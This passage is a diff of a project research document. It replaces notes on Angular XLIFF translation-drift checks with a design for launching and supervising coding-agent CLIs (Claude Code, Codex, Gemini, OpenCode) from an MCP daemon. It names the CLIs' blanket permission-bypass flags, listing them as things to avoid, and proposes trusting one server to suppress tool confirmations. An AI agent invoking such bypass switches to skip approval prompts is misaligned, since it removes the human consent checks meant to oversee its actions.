(array) | +| Resume (chat-mode) | `-r, --resume <"latest"\|index>` | Plus `--list-sessions`, `--delete-session`. Resume support now exists (newer than training data) | +| MCP config | `mcpServers` in `~/.gemini/settings.json` or project `.gemini/settings.json` | Keys verbatim: `command`, `args`, `env`, `cwd`, `timeout` (ms, default 600000), `trust` (true "bypasses all tool call confirmations for this server"), `includeTools`, `excludeTools`; HTTP: `httpUrl` + `headers`; SSE: `url`. `gemini mcp add|list|remove|enable|disable` exists | +| Hermetic MCP | No per-invocation MCP flag | Achieve hermeticity by having the daemon own a scratch workspace dir containing `.gemini/settings.json` (project scope) + `--allowed-mcp-server-names fsb`; `trust: true` on the fsb entry to suppress per-tool confirmations | +| ACP | `--experimental-acp` | Alternative structured integration channel (see ACP note under OpenCode) | +| Model | `-m auto\|pro\|flash\|flash-lite` | | + +### 4. OpenCode -| Locale | Missing (never extracted+translated) | Orphaned (stale id, not in current `messages.xlf`) | Drifted (id matches, `` text differs from current source) | -|--------|----|----|----| -| es | 0 | 54 | 5 | -| de | 0 | 54 | 5 | -| ja | 0 | 54 | 5 | -| zh-CN | 0 | 54 | 5 | -| zh-TW | 0 | 54 | 5 | +**Verified against:** local `opencode` **1.14.25** (`opencode run --help`, verbatim) + https://opencode.ai/docs/cli/, /docs/mcp-servers/, /docs/agents/ (docs stamped "Last updated: Jul 10, 2026"). npm latest: `opencode-ai` **1.17.18**. Repo now lives at **anomalyco/opencode**. Confidence: **HIGH** for 1.14.25 flags, MEDIUM for renames in โ‰ฅ1.15. -The 5 "drifted" units are a **live, reproducible instance of exactly the bug this milestone targets**: e.g. `trans-unit id="home.meta.description"` in `messages.xlf` currently reads *"Local-first Chrome automation and MCP browser layer for AI agents, with trigger watchers, real uploads, and guarded first-party API capability calls."* -- but `messages.es.xlf`'s matching trans-unit still carries the **old** English source text cached inline, and its `` is a translation of that stale sentence, not the current one. No `state` attribute anywhere in the shipped locale files flags this (every unit reads `state="translated"`) -- so the existing pipeline is structurally blind to source drift. This confirms the gap is real, current, and exactly as described in `.planning/PROJECT.md`. +| Capability | Flag | Notes | +|---|---|---| +| Headless run | `opencode run [message..]` | Message as positional args | +| Streaming output | `--format json` | Choices verbatim: `"default", "json"` โ€” json = "raw JSON events". Event schema is NOT formally documented โ€” adapter must treat it as best-effort and pin against fixtures | +| Agent persona | `--agent ` | Selects agent by name | +| Agent definitions | `opencode.json` `"agent"` key, or markdown in `~/.config/opencode/agents/` / `.opencode/agents/` | Fields: `description`, `mode` (`primary`\|`subagent`\|`all`), `model` (`provider/model`), `prompt` (`{file:./path}` supported), `permission` (`allow`\|`ask`\|`deny` per tool: `read`,`edit`,`bash`,`webfetch`,โ€ฆ), `temperature`, `steps` (max iterations). `opencode agent create` = interactive generator | +| Resume (chat-mode) | `-c, --continue`, `-s, --session `, `--fork` | | +| Permission bypass | 1.14.25: `--dangerously-skip-permissions` ("auto-approve permissions that are not explicitly denied (dangerous!)"); current docs list `--auto` with identical wording | **Rename in flight between 1.14.x and 1.17.x** โ€” adapter must NOT hard-code either; prefer a shipped `fsb` agent with explicit `permission` config so no bypass flag is ever needed | +| MCP config | `opencode.json` / `opencode.jsonc` (project) or `~/.config/opencode/opencode.json` (global), `"mcp"` key | Local: `{"type":"local","command":["npx","-y","fsb-mcp-server"],"environment":{},"enabled":true,"timeout":5000}`; Remote: `{"type":"remote","url":"http://127.0.0.1:7226/mcp","headers":{},"enabled":true}`. Per-agent tool toggles support globs: `"tools": {"fsb*": true}` | +| Server modes | `opencode serve` (HTTP, `--port`/`--hostname`), `--attach `, `opencode acp` (ACP over stdio JSON-RPC) | `--attach` lets `run` reuse a running server โ€” cheap process reuse for repeat delegations | -The 54 "orphaned" units per locale are pre-existing (`SHOWCASE_STATS_*` ids, matching the stats-page carry-forward debt) -- a secondary but related finding: orphaned units are a weaker signal than drift (they may reflect intentionally-excluded surfaces) but should still be visible in the audit report. +**ACP note (applies to OpenCode + Gemini + future Zed-ecosystem agents):** both `opencode acp` and `gemini --experimental-acp` speak the Agent Client Protocol (JSON-RPC over stdio, zed.dev/acp). ACP is a *better long-term* delegation transport than scraping per-CLI JSONL (uniform session/permission/streaming semantics across agents), but it is the wrong MVP choice: Claude Code exposes no ACP server mode, and adding the `@zed-industries/agent-client-protocol` client library is a new dependency for adapters 2-4 only. Record it as the designated evolution path for the `AgentProviderAdapter` contract, not an MVP dependency. + +--- ## Recommended Stack -### Core Technologies (already in place -- do not change) +### Core Technologies (all built-in โ€” zero new runtime deps) | Technology | Version | Purpose | Why Recommended | |------------|---------|---------|-----------------| -| Angular CLI `ng extract-i18n` | `^20.3.25` (`@angular/build`) | Source-of-truth extraction into `messages.xlf` | Already pinned; producing the XLIFF 1.2 files this milestone must audit. No version change needed or suggested. | -| XLIFF | `1.2` (OASIS) | Translation file format | Already the format in use (`xliff version="1.2"`); do not migrate to XLIFF 2.0 -- would touch all 6 files + Angular config for zero milestone-relevant benefit. | -| Node.js | `>=24.0.0` (repo `engines.node` floor) | Script runtime for new tooling | Matches root `package.json` engines constraint already enforced repo-wide. | +| `node:child_process` `spawn` | Node โ‰ฅ18.20.0 (mcp/ engines floor, unchanged) | Spawn + supervise agent CLIs | Only primitive that gives streaming stdio + `AbortSignal` + `detached` process groups. `signal` option verified in official docs: abort โ‰ˆ `.kill()` with `killSignal` (default `'SIGTERM'`), child errors with `AbortError` | +| `node:readline` (`createInterface({ input: child.stdout, crlfDelay: Infinity })`) | built-in | JSONL line framing for all four CLIs' stream output | Handles partial lines across chunk boundaries; zero deps; volume (LLM event streams) is far below any throughput where a Transform-stream splitter would matter. Wrap each line in `try { JSON.parse } catch` โ€” all four CLIs may interleave non-JSON warnings on stderr, and OpenCode's event schema is undocumented | +| `@modelcontextprotocol/sdk` (existing pin ^1.29) | 1.29.0 | Capture `clientInfo` from `initialize` | **Verified in the pinned tag's source** (`src/server/index.ts` @ v1.29.0): `Server._oninitialize` stores `request.params.clientInfo` (L441) and exposes `getClientVersion(): Implementation | undefined` (L463) + `oninitialized` callback (L144). For the `McpServer` wrapper used in `mcp/src/server.ts`, access via `mcpServer.server.getClientVersion()` after `oninitialized` fires. Zero new code paths on the wire โ€” INV-01 safe | +| `node:fs` / `node:os` | built-in | Installed-client detection | `platforms.ts` already carries per-OS config paths for 21 clients; detection = existence/mtime sweep over that registry. No library needed | +| `ws` (existing pin ^8.19) | 8.19+ | Reverse-request channel extensionโ†’daemon | New **additive** message types over the existing 7225 bridge (INV-01: additive only). No new transport | -### New Tooling for This Milestone +### Supporting Libraries -| Technology | Version | Purpose | Why Recommended | -|------------|---------|---------|-----------------| -| Custom Node script, `node:fs`/`node:path` only (no XML library) | n/a (write in-repo) | **CI drift-detection gate**: parse `messages.xlf` + all 5 translated locale files, classify every trans-unit id as `ok` / `missing` / `orphaned` / `drifted`, exit 1 on any `drifted` or `missing` (see Recommendation below for why `orphaned` is warn-only) | This repo already has 2 precedents for exactly this shape of tool -- `showcase/angular/scripts/verify-locale-sync.mjs` and `showcase/angular/scripts/verify-hreflang.mjs` -- both zero-dependency ESM scripts using regex/string parsing over structured text and `process.exit(0/1/2)`. XLIFF's `trans-unit`/`source`/`target` structure is simple enough (as demonstrated by the validated prototype above, directly portable to Node) that a real XML parser is unnecessary. This keeps the new gate dependency-free, consistent with the repo's existing no-build-system/eval-free-tooling posture, and avoids introducing `ng-extract-i18n-merge`'s `xmldoc`/`sax` dependency chain into `devDependencies` for what is fundamentally a read-only CI check. | -| (Optional, NOT required) `ng-extract-i18n-merge` | `3.4.0` (published 2026-06-06, actively maintained, 221 GitHub stars) | Local dev-time convenience: auto-syncs new/changed/removed trans-units into all 5 target files on `ng extract-i18n`, auto-marks drifted units `state="new"` | See "Alternatives Considered" below -- recommended as an optional future adoption for the human/AI translation workflow itself, but explicitly NOT required to satisfy this milestone's CI-gate requirement, and introducing it changes `angular.json`'s `extract-i18n` builder (see Pitfall below), which is a bigger footprint than the milestone's stated scope needs. | +| Library | Version | Purpose | When to Use | +|---------|---------|---------|-------------| +| โ€” (none recommended) | | | The supervisor is ~200-300 lines of deliberate code; every candidate lib below was evaluated and rejected for this footprint (see Alternatives) | + +### Development Tools + +| Tool | Purpose | Notes | +|------|---------|-------| +| Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) | Contract tests for stream parsers | Record real `claude -p --output-format stream-json`, `codex exec --json`, `gemini -o stream-json`, `opencode run --format json` outputs once per adapter; parsers tested offline. Protects against the repo's source-pin-style CI without live CLI calls | +| `claude --version` / `codex --version` / etc. probes | Adapter `detect()` capability gating | Known-good baselines verified in this research: claude 2.1.177, codex 0.142.5, opencode 1.14.25; gemini 0.50.0 (npm latest, docs-verified only). Claude โ‰ฅ2.1.205 additionally exposes a `capabilities` array in `system/init` โ€” prefer feature-detection over version compares where available | + +## Process Supervision Design Facts (verified from nodejs.org/api/child_process.html, 2026-07-10) -### Supporting Reference (no new runtime dependency -- informs the script's logic) +These verbatim-verified behaviors dictate the supervisor implementation; encode them as tests: -| Reference | Version/Date | Purpose | When to Use | -|-----------|---------|---------|-------------| -| XLIFF 1.2 OASIS spec, `state`/`state-qualifier` attribute vocabulary | 1.2 (2008, still current for this format) | Defines the canonical values a `` may hold: `new`, `needs-translation`, `needs-review-translation`, `needs-adaptation`, `needs-l10n`, `translated`, `signed-off`, `final` | Use `state="needs-review-translation"` (not a made-up value) if the new gate or its companion fix-up script writes a `state` attribute onto locale files to flag drift -- this keeps output spec-compliant and compatible with any future translation-tool ingestion (e.g. if a paid TMS is adopted later, per the note below). | +1. **Kill trees, POSIX:** `subprocess.kill()` does NOT kill grandchildren ("child processes of child processes will not be terminated when attempting to kill their parent"). Spawn with `detached: true` โ†’ child becomes "the leader of a new process group and session" โ†’ kill the whole tree with `process.kill(-child.pid, 'SIGTERM')`, escalate to `SIGKILL` after a ~5s grace. Do NOT call `subprocess.unref()` โ€” the daemon must keep supervising. +2. **Kill trees, Windows:** negative-PID kill doesn't exist; `detached: true` gives the child "its own console window" instead. Use `spawn('taskkill', ['/pid', String(child.pid), '/T', '/F'])` (no graceful tier on Windows). Set `windowsHide: true` explicitly (verified default: `false`). +3. **Kill switch wiring:** one `AbortController` per delegation; `spawn(..., { signal })`. Abort kills with `killSignal` (default `'SIGTERM'`) and surfaces `AbortError` on the child's `error` event โ€” map that to the side panel's "stopped by user" state, distinct from crash. +4. **Backpressure:** verbatim โ€” "These pipes have limited (and platform-specific) capacity. If the subprocess writes to stdout in excess of that limit without the output being consumed, the subprocess blocks". Therefore attach stdout AND stderr consumers synchronously at spawn; keep stderr in a bounded ring buffer (e.g. last 64KB) for `doctor` diagnostics. +5. **Exit sequencing:** `'exit'` can fire while stdio is still open; "The `'close'` event will always emit after `'exit'`". Resolve the delegation only on `'close'` so trailing `result` lines are never lost. +6. **Prompt transport:** always write the task prompt to **stdin** (all four CLIs accept it), never argv โ€” avoids shell quoting entirely, Windows ~32KB command-line limits, and prompt leakage in process listings. Close stdin after writing (Claude/codex read to EOF), EXCEPT in Claude chat-mode with `--input-format stream-json` where stdin stays open for subsequent user turns. +7. **Windows `.cmd` shims:** npm-installed CLIs (`claude`, `gemini`, `codex` via npm) are `.cmd` shims on Windows; since Node 18.20/20.12 (CVE-2024-27980) `spawn("claude.cmd")` without `shell: true` throws `EINVAL`. Resolve the real entry (prefer detecting the native binary; fall back to `{ shell: true }` with a fully fixed argv โ€” safe here only because the prompt travels via stdin, never through the shell string). Confidence: MEDIUM-HIGH (well-documented Node security release; exact per-CLI installer layout to confirm during the Windows adapter phase). +8. **Env hygiene:** spawn with a copied, scrubbed env โ€” explicitly delete `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`/`CODEX_API_KEY`, `GEMINI_API_KEY`/`GOOGLE_API_KEY` from the child env. Presence of these silently flips CLIs from subscription auth to API-key billing, breaking the "key-less agent provider" contract (verified for Claude: `system/init`โ†’`api_retry` `billing_error` category exists precisely for this failure class). +9. **Timeouts:** two-tier โ€” wall-clock cap per delegation AND an idle watchdog (no JSONL event for N seconds โ†’ probe/kill). `--max-turns` (Claude) / `steps` (OpenCode agent config) / exit code 53 (Gemini turn limit) provide agent-side backstops; the daemon-side timer is authoritative. + +## Claude Agent SDK vs. shelling to the CLI (explicit tradeoff) + +**Decision: shell to the user's installed `claude` binary. Do not add `@anthropic-ai/claude-agent-sdk`.** + +| Dimension | Shell to installed CLI | Embed `@anthropic-ai/claude-agent-sdk` (0.3.206) | +|---|---|---| +| Auth / billing | Uses whatever the user's CLI is logged in with โ€” **Pro/Max subscription included**. This IS the product promise ("agent kind = no API key") | Docs verbatim (code.claude.com/docs/en/agent-sdk/overview, 2026-07-10): "Anthropic does not allow third party developers to offer claude.ai login or rate limits for their products, including agents built on the Claude Agent SDK. Please use the API key authentication methods". API key / Bedrock / Vertex / Foundry only | +| Distribution weight | 0 bytes โ€” binary already on the user's machine (that's what "installed client detected" means) | SDK "bundles a native Claude Code binary for your platform as an optional dependency" โ€” a second full Claude Code shipped inside `fsb-mcp-server`'s npm install, version-skewed from the user's own | +| Multi-agent symmetry | Same `spawn + JSONL` supervisor pattern for all four CLIs โ†’ one `AgentProviderAdapter` contract | Claude-only; Codex/Gemini/OpenCode still need the spawn path anyway โ†’ two runtimes to maintain | +| Programmatic ergonomics | Parse documented stream-json; in-process `canUseTool`-style brokering only via `--permission-prompt-tool` MCP indirection | Native message objects, `canUseTool` callback, in-process MCP servers โ€” genuinely nicer API | +| Branding/policy | FSB launches the user's own installed tool (config-writer precedent: `claude mcp add` delegation already ships in install.ts) | SDK products may not present as "Claude Code"; adds compliance surface | +| Update coupling | User updates their CLI; adapter feature-detects (`system/init.capabilities`) | FSB owns the pinned SDK version and its update cadence | + +The ergonomics column is real but decisively outweighed: the SDK's auth policy alone disqualifies it for a feature whose definition is "use the subscription the user already pays for." If FSB ever wants an API-key-billed embedded execution path, that's what the existing `universal-provider.js` (7 providers) already is. ## Installation ```bash -# No new npm install needed for the CI gate itself -- it is a plain Node ESM -# script added under showcase/angular/scripts/, invoked directly with `node`, -# exactly like the existing verify-locale-sync.mjs / verify-hreflang.mjs. - -# OPTIONAL (not required for milestone completion) -- only if the team also -# wants the dev-time auto-merge convenience: -npm install -D ng-extract-i18n-merge --prefix showcase/angular -# then: npx ng add ng-extract-i18n-merge --prefix showcase/angular -# (rewrites angular.json's extract-i18n builder -- read the Pitfalls section -# below before doing this; it is a build-editing step, evaluate separately -# from the CI-gate work.) +# Runtime: nothing to install โ€” Node built-ins + existing deps only. + +# mcp/ package: new modules, no package.json dependency changes +# mcp/src/agents/supervisor.ts (spawn/kill-tree/watchdog, ~200 lines) +# mcp/src/agents/adapters/*.ts (claude.ts first; codex/gemini/opencode later) +# mcp/src/agents/stream-parsers.ts (per-CLI JSONL event normalization) +# + additive WS message types in bridge.ts / agent-bridge.ts + +# Dev only: recorded stream fixtures under tests/fixtures/agent-streams/ ``` ## Alternatives Considered | Recommended | Alternative | When to Use Alternative | |-------------|-------------|-------------------------| -| Custom zero-dependency Node script for the CI gate | `ng-extract-i18n-merge@3.4.0` as the CI gate itself | If the team wants ONE tool to do both dev-time merging AND CI drift-checking, and is willing to accept it rewriting `angular.json`'s `extract-i18n` builder (`@angular/build:extract-i18n` -> `ng-extract-i18n-merge:ng-extract-i18n-merge`). Its `resetTranslationState: true` default already does the "mark stale on source change" work by setting the target unit's `state` to `new` and, per its own merge logic, copies the new English `source` text into `target` as a placeholder (`syncTarget = syncSourceLang || isUntranslated(...)`) -- i.e. it doesn't just flag drift, it partially "fixes" it by giving an English fallback pending real translation. This is a legitimate choice but changes CI-02's existing `diff -u messages.xlf /tmp/extract-check/messages.xlf` semantics (see Pitfall below), which is a broader footprint than "add one CI gate." | -| `ng-extract-i18n-merge@3.4.0` | `ngx-i18nsupport` / `xliffmerge` | Never for new adoption in 2026 -- **confirmed dead**: last published to npm 2018-09-21 (8 years stale), predates Angular's builder-based extraction pipeline entirely, will not resolve against `@angular/build ^20.x`. Do not use, do not reference as a "standard" tool going forward; it surfaces in search results only because of historical popularity from the pre-Ivy Angular era. | -| Read-only source-drift CI check (custom script or wrapped `ng-extract-i18n-merge` in check-only mode) | Full commercial Translation Management System (Lokalise, Crowdin, Smartling, Phrase, doloc.io) | Only if the team decides ongoing translation-maintenance labor (not just drift *detection*) should be outsourced. `doloc.io` (built by the same author as `ng-extract-i18n-merge`, explicitly cross-promoted in its README) is a **paid per-source-text SaaS** with a 14-day trial and no stated indefinite free tier for production use. This milestone's explicit brief is "usable without a paid translation-management SaaS" -- do not adopt doloc.io or any TMS as part of this milestone. Flag as an explicit, separate decision if ever revisited, not a default. | +| Hand-rolled supervisor on `spawn` | `execa` 9.6.1 | If mcp/ ever grows many ad-hoc script invocations where its `cleanup`/template ergonomics pay off. For ONE long-lived supervised child shape it adds deps to a published npm package without solving tree-kill on POSIX (it also only signals the direct child) | +| `detached` + `kill(-pid)` / `taskkill /T` | `tree-kill` 1.2.2 | If FSB cannot use `detached: true` (e.g. a CLI misbehaves as a session leader). tree-kill walks `ps`/`pgrep` output โ€” race-prone vs. atomic process-group kill; keep as fallback knowledge, not a dep | +| `node:readline` line framing | `split2` 4.2.0 | If a future stream needs true Transform-stream backpressure into a pipeline. Current consumer (WS fan-out to side panel) is push-based; readline suffices | +| Per-CLI JSONL adapters (MVP) | ACP client (`@zed-industries/agent-client-protocol`) via `opencode acp` / `gemini --experimental-acp` | Adapter v2, once โ‰ฅ2 non-Claude agents are in scope โ€” uniform protocol beats N bespoke parsers, but Claude Code (the MVP) doesn't speak it | +| `claude --resume` respawn per turn (chat-mode) | Persistent child with `--input-format stream-json` + `--output-format stream-json` | If per-turn respawn latency (CLI cold start) proves unacceptable in the side panel. More capable but adds lifetime management (idle child, SW-eviction interplay); benchmark before committing | +| Claude Code via its own CLI | `claude --permission-prompt-tool mcp__fsb__` consent brokering | Later consent-tier phase: lets FSB surface CLI permission asks in the side panel instead of blanket `dontAsk` denial | ## What NOT to Use | Avoid | Why | Use Instead | |-------|-----|-------------| -| `ngx-i18nsupport` (xliffmerge) | Unmaintained since 2018; predates the Angular CLI builder-based extraction model entirely; will not function correctly (if it even installs) against Angular 20's `@angular/build:extract-i18n` output shape. | `ng-extract-i18n-merge@3.4.0` if a merge tool is wanted at all; otherwise the custom script recommended above. | -| A full XML/DOM parser dependency (e.g. `xmldoc`, `fast-xml-parser`, `xml2js`) added solely for this one CI script | Overkill for a read-only structural check over a well-known, narrow XLIFF 1.2 shape (`...`), and this repo has an established zero-dependency precedent (`verify-locale-sync.mjs`, `verify-hreflang.mjs`) for exactly this class of script. Adding a parser dependency here is inconsistent with that precedent and adds supply-chain surface for no material robustness gain at this file's actual complexity. Note: if the same script also needs to *write* XLIFF (not just read/diff it), hand-rolled regex-based mutation of XML becomes materially riskier -- see Pitfall below. | Plain regex/string-based extraction (`]*>(.*?)` block splitting, then `` / `]*>` sub-matches) for **read-only** comparison. This is the exact approach validated against the live files above. | -| A paid Translation Management SaaS (Lokalise, Crowdin, Smartling, Phrase, doloc.io) as a *requirement* of this milestone | Milestone brief explicitly requires a no-paid-SaaS solution; introducing a recurring per-source-text billing dependency for what is fundamentally a CI-gate + audit-script problem is disproportionate and would need explicit stakeholder sign-off as a new operating cost, not a research-driven default. | Custom script (drift detection) + the same AI-filled-XLIFF workflow already used in v0.9.63 (per `.planning/PROJECT.md`: "AI-filled XLIFFs") for the actual re-translation labor. | -| Writing ad-hoc, non-spec `state` values (e.g. `state="stale"`, `state="drifted"`) into the `.xlf` files if the drift-fix script also mutates locale files | XLIFF 1.2's `state` attribute has an OASIS-defined enumeration; non-spec values break interoperability with any XLIFF-aware tool (including Angular's own tooling, other CAT tools, or a future TMS import) and would need to be undone later. | `state="needs-review-translation"` (source changed, existing translation may still be partially valid and worth keeping as a starting point for a human/AI reviewer) or `state="needs-translation"` (no usable prior translation) -- both are OASIS-standard values already implicitly supported by tooling in this ecosystem, including `ng-extract-i18n-merge`'s own `initialTranslationState` concept (which defaults to the equivalent `'new'` for XLIFF 1.2). | +| `@anthropic-ai/claude-agent-sdk` | Policy-prohibited subscription auth for third-party products; bundles a duplicate CC binary; Claude-only | Spawn the user's installed `claude` (tradeoff table above) | +| `node-pty` (or any PTY layer) | All four CLIs have first-class non-interactive modes with clean piped stdio; PTY adds native-build deps to a published npm package and ANSI-garbage parsing | `spawn` with `stdio: ['pipe','pipe','pipe']` | +| `child_process.exec` / `execFile` for delegation | Buffers output until exit (`maxBuffer` kills long streams); no streaming | `spawn` + readline | +| `--dangerously-skip-permissions` (Claude), `--dangerously-bypass-approvals-and-sandbox` (Codex), `--approval-mode=yolo` (Gemini), `--auto`/`--dangerously-skip-permissions` (OpenCode) | Blanket bypass on a channel that is already RCE-adjacent; violates the milestone's "strict permission defaults, explicit consent tiers" | Claude: `--permission-mode dontAsk` + `--allowedTools "mcp__fsb"`; Codex: default `read-only` sandbox; Gemini: `--allowed-mcp-server-names fsb` + `trust` on the fsb server only; OpenCode: shipped agent `permission` map | +| `--bare` (Claude) | Skips OAuth/keychain โ†’ breaks subscription auth | `--strict-mcp-config` + `--agents` + explicit flags for hermeticity | +| Deprecated flags: `--full-auto` (Codex), `-y/--yolo` and `--allowed-tools` (Gemini) | Verified deprecated in current docs; emit warnings today, removal risk tomorrow | Current equivalents listed in the matrices | +| Pinning agent CLI versions in FSB | User-owned binaries update on their own cadence | `detect()` = version probe + capability gate (+ `system/init.capabilities` for Claude โ‰ฅ2.1.205); fixtures pin the parser contract, not the binary | ## Stack Patterns by Variant -**If the milestone's drift-detection gate is read-only (recommended default):** -- Write one script, e.g. `showcase/angular/scripts/verify-translation-currency.mjs`, that: - 1. Parses `messages.xlf` into an `id -> sourceText` map (source of truth). - 2. For each of the 5 translated locale files, parses into `id -> {sourceText, targetText}`. - 3. Classifies every id into `ok` (present, source text matches), `missing` (present in current source, absent from locale file), `orphaned` (present in locale file, absent from current source), `drifted` (present in both, but `` text differs between the two files). - 4. Hard-fails (`process.exit(1)`) on any `missing` or `drifted` count > 0 across any locale. - 5. Reports `orphaned` counts as a warning only (non-fatal) unless the milestone's stats-page resync work explicitly wants them to fail too -- these represent debt from previously-excluded surfaces, not newly-introduced drift, and conflating them with true drift will make the gate noisy on day one given the 54-per-locale baseline already present. -- Because: it adds zero new dependencies, mirrors the two existing verification scripts in this codebase exactly, and is trivially auditable (a reviewer can read the whole script in one sitting, same bar as `verify-locale-sync.mjs`). - -**If the team ALSO wants to reduce translator busywork (separate decision from the CI gate, optional):** -- Adopt `ng-extract-i18n-merge@3.4.0` as a local `ng extract-i18n` builder replacement to auto-sync + auto-mark-stale trans-units across all 5 target files whenever `ng extract-i18n` runs. -- Because: it eliminates hand-editing 5 XLIFF files every time a template string changes, and its `resetTranslationState`/fuzzy-match behavior is exactly the "mark drifted units for re-translation" mechanic this milestone wants -- but as a *workflow* aid, not the CI gate itself. -- Do this only as an explicit, separate decision -- it changes `angular.json`'s existing `extract-i18n` architect target and interacts with CI-02 (see Pitfalls below); don't bundle it silently into "add a drift gate." +**Task-mode (MVP, per-delegation spawn):** +- Claude: `-p` + `--no-session-persistence` + stdin prompt; Codex: `codex exec --ephemeral`; ephemeral = no session litter in the user's CLI history. -## Integration with Existing CI Gates (avoiding duplication) +**Chat-mode (where supported):** +- Claude: omit `--no-session-persistence`, capture `session_id` from `system/init`/`result`, respawn with `--resume ` โ€” **must reuse the same daemon-owned cwd** (session lookup is directory-scoped, verified). Codex: `codex exec resume `. Gemini: `-r ` (weaker: index-based). OpenCode: `-s `. -This repo's existing i18n-related CI steps, verified directly from `.github/workflows/ci.yml` and `showcase/angular/package.json`: - -| Existing gate | What it actually checks | Overlap risk with new drift gate | -|---|---|---| -| `lint:i18n` (`eslint "src/**/*.html" --ignore-pattern ... @angular-eslint/template/i18n`) | Every translatable template node/attribute in `.html` files carries an `i18n`/`i18n-*` marker. Operates purely on `.html` source; has no knowledge of `.xlf` file contents. | **None.** Confirmed via the rule's own docs/source that it never reads `.xlf` files. A string can pass `lint:i18n` (properly marked) while still being unextracted or drifted in `.xlf` -- these are genuinely separate failure modes, not the same check twice. | -| CI-02, "Verify `ng extract-i18n` produces no diff" (`ng extract-i18n --output-path /tmp/extract-check && diff -u messages.xlf /tmp/extract-check/messages.xlf`) | Catches new/removed/changed `i18n`-marked strings in templates that were never re-extracted into the committed `messages.xlf` (source-file-only omission). Note: `.planning/PROJECT.md` calls this `extract-i18n-clean`, but there is no npm script by that literal name in `showcase/angular/package.json` -- the check is an inline shell step in `.github/workflows/ci.yml`; treat "extract-i18n-clean" as descriptive shorthand for this diff step, not a script to `grep` for. | **Adjacent, not overlapping.** CI-02 only ever compares `messages.xlf` (source) against a freshly regenerated copy of itself -- it never looks at the 5 translated locale files at all. It catches (a) from the research question (new strings never extracted); the new gate this milestone needs must specifically catch (b) (translated-locale drift) plus close the remaining gap in (a) (strings extracted into `messages.xlf` correctly, per CI-02, but never actually propagated/re-translated into the 5 target files -- the "missing" classification above). | -| `verify-locale-sync.mjs` | Confirms the locale-constants TS module and `angular.json`'s locale list agree (registry parity, not content parity). | **None** -- entirely different concern (which locales exist, not whether their content is current). | -| `i18nMissingTranslation: "error"` (Angular compiler option in `angular.json`) | Fails the Angular *build* if a trans-unit id referenced by a template has **no** `` at all in a locale file. | **Partial overlap on "missing", none on "drifted".** This compiler option already hard-fails on completely absent translations at build time -- so a pure "missing" check in the new CI gate is somewhat redundant with what a full `ng build` would already catch per-locale. The genuinely new value this milestone's gate adds is the **drift** case: a `` exists, is non-empty, and the build succeeds, yet it translates *stale* source text that no longer matches -- something `i18nMissingTranslation` structurally cannot detect (it only checks presence/absence, never content-equivalence against source). Recommendation: keep the new gate's primary value proposition framed as "source-drift detection" (the "b" case in the research question) and treat "missing" reporting as a bonus/earlier-signal (catching it as a fast standalone script is cheaper than waiting for a full per-locale `ng build` to fail), not the headline feature. +**If the user's Claude โ‰ฅ2.1.205:** read `system/init.capabilities` for feature detection instead of version parsing. -**Net conclusion:** none of the 4 existing gates read `` text in the 5 translated locale files and compare it against the current `messages.xlf` `` for the same id. This is a genuine, unfilled gap -- the new gate is additive, not duplicative, provided it's scoped to this specific check. +**If delegation target is OpenCode with a running server:** prefer `opencode run --attach http://localhost:` over cold spawn. ## Version Compatibility -| Package A | Compatible With | Notes | -|-----------|------------------|-------| -| `ng-extract-i18n-merge@3.4.0` | `@angular/build ^20.0.0 || ^21.0.0 || ^22.0.0` | This repo pins `@angular/build@^20.3.25` -- within range. `engines.node >=20.19.0` required by the package; this repo's floor is `>=24.0.0`, comfortably above. | -| `ng-extract-i18n-merge@3.4.0` | `xmldoc@^1.1.3` (transitive dep pinned in its own `package.json`, distinct from the newer `xmldoc@3.0.0` on npm's `latest` tag) | `xmldoc` itself depends only on `sax@^1.6.0`, a long-established pure-JS SAX parser with no native bindings and no `eval`/`new Function` usage -- acceptable supply-chain profile if this path is chosen, but still a net-new dependency the zero-dependency custom-script approach avoids entirely. | -| Custom drift-detection script (recommended) | Node `>=24.0.0` (already the repo floor) | Uses only `node:fs`/`node:path`; no version sensitivity. | +| Package/Binary | Compatible With | Notes | +|-----------|-----------------|-------| +| mcp/ `engines.node >=18.20.0` | All recommended built-ins | `spawn` `signal` (15.5+), `readline` promises (17+), `.cmd` EINVAL behavior starts exactly at 18.20 โ€” floor unchanged, no bump needed | +| `@modelcontextprotocol/sdk` ^1.29 | `getClientVersion()` / `oninitialized` | Verified present in tag v1.29.0 source; note upstream repo `main` is now a v2 monorepo (`packages/server/src/server/server.ts` keeps the same accessor) โ€” pin stays on 1.x | +| claude 2.1.177 (local baseline) | All matrix-1 flags | `manual` permission-mode alias needs โ‰ฅ2.1.200; `capabilities` array needs โ‰ฅ2.1.205 | +| codex 0.142.5 (local baseline) / npm 0.144.1 | All matrix-2 flags | `--ephemeral`, `--ignore-user-config`, `-c` overrides all present at 0.142.5 | +| opencode 1.14.25 (local) vs 1.17.18 (npm) | `run --format json`, `--agent`, sessions | Permission-bypass flag renamed between these versions (`--dangerously-skip-permissions` โ†’ docs' `--auto`) โ€” adapter avoids both | +| gemini 0.50.0 (npm latest) | Matrix-3 flags | Docs-verified only; no local binary โ€” first Gemini adapter phase must start with a live `--help` capture | ## Sources -- Live repository inspection (HIGH confidence, ground truth): `showcase/angular/src/locale/messages.xlf` and `messages.{es,de,ja,zh-CN,zh-TW}.xlf`, `showcase/angular/package.json`, `showcase/angular/angular.json`, `showcase/angular/scripts/verify-locale-sync.mjs`, `showcase/angular/scripts/verify-hreflang.mjs`, `showcase/angular/eslint.config.js`, `.github/workflows/ci.yml` -- confirmed exact CI-02 mechanism is a raw shell step (`ng extract-i18n --output-path /tmp/extract-check && diff -u messages.xlf /tmp/extract-check/messages.xlf`) in `ci.yml`, not an npm script literally named `extract-i18n-clean`; confirmed live drift instances (5 units x 5 locales) and orphan baseline (54 units x 5 locales) via direct XLIFF parsing against the actual files. -- npm registry API (`registry.npmjs.org`), HIGH confidence: `ng-extract-i18n-merge@3.4.0` published 2026-06-06T19:31:58Z, `peerDependencies: {"@angular/build": "^20.0.0 || ^21.0.0 || ^22.0.0"}`, `engines: {"node": ">=20.19.0"}`; `ngx-i18nsupport@0.17.1` last published 2018-09-21T11:05:09Z (confirms dead/abandoned). -- GitHub repo metadata + raw source (`daniel-sc/ng-extract-i18n-merge`, `master` branch), HIGH confidence: `README.md` (options table, upgrade notes, doloc.io cross-promotion), `src/merger.ts` (confirmed `state: isSourceLang ? 'final' : (onlyWhitespaceChanged ? destUnit.state : this.initialTranslationState)` -- the exact drift-marking mechanic), `src/builder.ts` (confirmed `STATE_INITIAL_XLF_1_2 = 'new'` literal and that the builder mutates files on disk, 